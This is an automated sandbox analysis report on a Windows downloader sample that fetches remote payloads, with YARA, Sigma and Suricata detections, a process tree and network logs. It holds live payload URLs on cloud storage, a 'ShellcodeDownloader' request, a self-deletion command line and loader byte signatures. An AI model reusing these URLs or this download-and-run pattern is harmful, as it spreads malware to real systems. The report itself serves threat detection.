Edit tour

Windows Analysis Report
LisectAVT_2403002B_295.exe

Overview

General Information

Sample name:	LisectAVT_2403002B_295.exe
Analysis ID:	1481846
MD5:	8618fb139983d302aea7a6dada6c9dc0
SHA1:	0b4b03da2e9761557dce72d9b34f58b3cc600067
SHA256:	5548162aa526a395d43c509c8db71f88da11ca13921337c5f166f62ddccf4051
Tags:	exe
Infos:

Detection

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

AI detected suspicious sample

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Reads the Security eventlog

Reads the System eventlog

Self deletion via cmd or bat file

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

LisectAVT_2403002B_295.exe (PID: 5056 cmdline: "C:\Users\user\Desktop\LisectAVT_2403002B_295.exe" MD5: 8618FB139983D302AEA7A6DADA6C9DC0)

conhost.exe (PID: 6728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2800 cmdline: "C:\Windows\System32\cmd.exe" /c del /q C:\Users\user\Desktop\LisectAVT_2403002B_295.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x2ab545:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x2aed7d:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB

Dropped Files

Source	Rule	Description	Author	Strings
C:\Program Files (x86)\Bandicam\4.bin	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x2a3b:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x5f71:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\qd[1].bin	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x2a3b:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x5f71:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000003.1844627099.0000000000921000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x1546:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000001.00000003.1886586977.0000000000947000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x1b1b:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x5051:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000001.00000003.1886445362.0000000003070000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x2a3b:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0x5f71:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB

Sigma Signatures

System Summary

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe, ProcessId: 5056, TargetFilename: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_icoubrny.mln.ps1

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 52.165.165.26 - Destination IP: 192.168.2.8

Timestamp:	2024-07-25T15:13:48.012774+0200
SID:	2022930
Source Port:	443
Destination Port:	49709
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 43.152.64.207 - Destination IP: 192.168.2.8

Timestamp:	2024-07-25T15:13:41.926185+0200
SID:	2011803
Source Port:	443
Destination Port:	49706
Protocol:	TCP
Classtype:	Executable code was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 52.165.165.26 - Destination IP: 192.168.2.8

Timestamp:	2024-07-25T15:14:26.386886+0200
SID:	2022930
Source Port:	443
Destination Port:	49718
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: LisectAVT_2403002B_295.exe

Avira: detected

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for sample

Source: LisectAVT_2403002B_295.exe

Joe Sandbox ML: detected

Source: LisectAVT_2403002B_295.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 43.152.64.207:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.152.64.207:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.153.232.151:443 -> 192.168.2.8:49717 version: TLS 1.2

Source: LisectAVT_2403002B_295.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: c:\x64_dbg\bin\x32\x32dbg_exe.pdb source: QT.exe.1.dr, QT[1].exe.1.dr
Source:	Binary string: C:\Users\Administrator\Documents\Project2\Project2\Release\Project2.pdb source: x32bridge[1].dll.1.dr, x32bridge.dll.1.dr
Source:	Binary string: msvcr120.i386.pdb source: msvcr120.dll.1.dr, msvcr120[1].dll.1.dr
Source:	Binary string: msvcp120.i386.pdb source: msvcp120[1].dll.1.dr, msvcp120.dll.1.dr
Source:	Binary string: D:\a\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: D:\a\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: D:\a\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdbGCTL source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: wab.pdbGCTL source: x32bridge[1].dll.1.dr, x32bridge.dll.1.dr
Source:	Binary string: D:\a\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdbGCTL source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: wab.pdb source: x32bridge[1].dll.1.dr, x32bridge.dll.1.dr

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Code function: 1_2_001ADEA1 FindFirstFileExW,

1_2_001ADEA1

Source: Joe Sandbox View	IP Address: 43.153.232.151 43.153.232.151
Source: Joe Sandbox View	IP Address: 43.152.64.207 43.152.64.207

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /QT.exe HTTP/1.1User-Agent: Mozilla/5.0Host: wwwdll-1323570959.cos.ap-singapore.myqcloud.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp120.dll HTTP/1.1User-Agent: Mozilla/5.0Host: wwwdll-1323570959.cos.ap-singapore.myqcloud.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcr120.dll HTTP/1.1User-Agent: Mozilla/5.0Host: wwwdll-1323570959.cos.ap-singapore.myqcloud.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0Host: wwwdll-1323570959.cos.ap-singapore.myqcloud.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0Host: wwwdll-1323570959.cos.ap-singapore.myqcloud.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /x32bridge.dll HTTP/1.1User-Agent: Mozilla/5.0Host: www151-1323570959.cos.ap-singapore.myqcloud.comCache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Code function: 1_2_00193150 Sleep,InternetOpenA,InternetOpenUrlA,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetReadFile,InternetCloseHandle,InternetCloseHandle,fpos,fpos,fpos,VirtualAlloc,fpos,VirtualFree,

1_2_00193150

Source: global traffic	HTTP traffic detected: GET /QT.exe HTTP/1.1User-Agent: Mozilla/5.0Host: wwwdll-1323570959.cos.ap-singapore.myqcloud.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp120.dll HTTP/1.1User-Agent: Mozilla/5.0Host: wwwdll-1323570959.cos.ap-singapore.myqcloud.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcr120.dll HTTP/1.1User-Agent: Mozilla/5.0Host: wwwdll-1323570959.cos.ap-singapore.myqcloud.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0Host: wwwdll-1323570959.cos.ap-singapore.myqcloud.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0Host: wwwdll-1323570959.cos.ap-singapore.myqcloud.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /x32bridge.dll HTTP/1.1User-Agent: Mozilla/5.0Host: www151-1323570959.cos.ap-singapore.myqcloud.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /qd.bin HTTP/1.1User-Agent: ShellcodeDownloaderHost: wwwqd-1324142869.cos.ap-singapore.myqcloud.comCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: wwwdll-1323570959.cos.ap-singapore.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: www151-1323570959.cos.ap-singapore.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: wwwqd-1324142869.cos.ap-singapore.myqcloud.com

Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1864849511.0000000007381000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://c.zk
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000921000.00000004.00000020.00020000.00000000.sdmp, x32bridge[1].dll.1.dr, x32bridge.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000921000.00000004.00000020.00020000.00000000.sdmp, x32bridge[1].dll.1.dr, x32bridge.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: x32bridge[1].dll.1.dr, x32bridge.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: QT.exe.1.dr, QT[1].exe.1.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1956057813.0000000007322000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1884891914.0000000007322000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1864806974.0000000007322000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mi
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1844705945.0000000000933000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000933000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1790563218.0000000000932000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic)
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1956164901.0000000007362000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1884891914.0000000007358000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1885571652.000000000735F000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1875681919.0000000007359000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, QT.exe.1.dr, QT[1].exe.1.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, QT.exe.1.dr, QT[1].exe.1.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, QT.exe.1.dr, QT[1].exe.1.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000921000.00000004.00000020.00020000.00000000.sdmp, x32bridge[1].dll.1.dr, x32bridge.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: x32bridge[1].dll.1.dr, x32bridge.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000921000.00000004.00000020.00020000.00000000.sdmp, x32bridge[1].dll.1.dr, x32bridge.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: x32bridge[1].dll.1.dr, x32bridge.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000921000.00000004.00000020.00020000.00000000.sdmp, x32bridge[1].dll.1.dr, x32bridge.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000921000.00000004.00000020.00020000.00000000.sdmp, x32bridge[1].dll.1.dr, x32bridge.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: x32bridge[1].dll.1.dr, x32bridge.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, QT.exe.1.dr, QT[1].exe.1.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, QT.exe.1.dr, QT[1].exe.1.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, QT.exe.1.dr, QT[1].exe.1.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1953784445.0000000004452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: QT.exe.1.dr, QT[1].exe.1.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000921000.00000004.00000020.00020000.00000000.sdmp, x32bridge[1].dll.1.dr, x32bridge.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000921000.00000004.00000020.00020000.00000000.sdmp, x32bridge[1].dll.1.dr, x32bridge.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: x32bridge[1].dll.1.dr, x32bridge.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, QT.exe.1.dr, QT[1].exe.1.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.00000000034B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.00000000034B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.00000000033E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.00000000034B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.00000000034B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.r;R
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.00000000034B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1953784445.0000000004452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1953784445.0000000004452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1953784445.0000000004452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.00000000034B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1853279746.0000000003BB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1953784445.0000000004452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, QT.exe.1.dr, QT[1].exe.1.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, QT.exe.1.dr, QT[1].exe.1.dr	String found in binary or memory: https://sectigo.com/CPS0D
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000921000.00000004.00000020.00020000.00000000.sdmp, x32bridge[1].dll.1.dr, x32bridge.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www151-1323570959.cos.ap-singapore.myqcloud.com/
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www151-1323570959.cos.ap-singapore.myqcloud.com/b8b
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.00000000008D0000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www151-1323570959.cos.ap-singapore.myqcloud.com/x32bridge.dll
Source: x32bridge[1].dll.1.dr, x32bridge.dll.1.dr	String found in binary or memory: https://wwwbin-1324142869.cos.ap-singapore.myqcloud.com/151.bin
Source: x32bridge[1].dll.1.dr, x32bridge.dll.1.dr	String found in binary or memory: https://wwwbin-1324142869.cos.ap-singapore.myqcloud.com/151.binC:
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/&
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1639796263.00000000008EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/QT.exe
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/msvcp120.dll
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/msvcp140.dll
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/msvcp140.dll6
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/msvcr120.dll
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/msvcr120.dllj
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1739011796.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1762183724.0000000000924000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/vcruntime140.dll(=
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1739011796.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1790470142.0000000000928000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1762183724.0000000000924000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwwdll-1323570959.cos.ap-singapore.myqcloud.com/vcruntime140.dll=C
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/
Source: LisectAVT_2403002B_295.exe	String found in binary or memory: https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/qd.bin
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1844705945.0000000000933000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000933000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/qd.binM
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1844705945.0000000000933000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000933000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/qd.binen
Source: LisectAVT_2403002B_295.exe	String found in binary or memory: https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/qd.binerror
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1844705945.0000000000933000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000933000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/qd.bing
Source: LisectAVT_2403002B_295.exe, 00000001.00000003.1844705945.0000000000933000.00000004.00000020.00020000.00000000.sdmp, LisectAVT_2403002B_295.exe, 00000001.00000003.1844627099.0000000000933000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwwqd-1324142869.cos.ap-singapore.myqcloud.com/qd.binom-

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 43.152.64.207:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.152.64.207:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.153.232.151:443 -> 192.168.2.8:49717 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
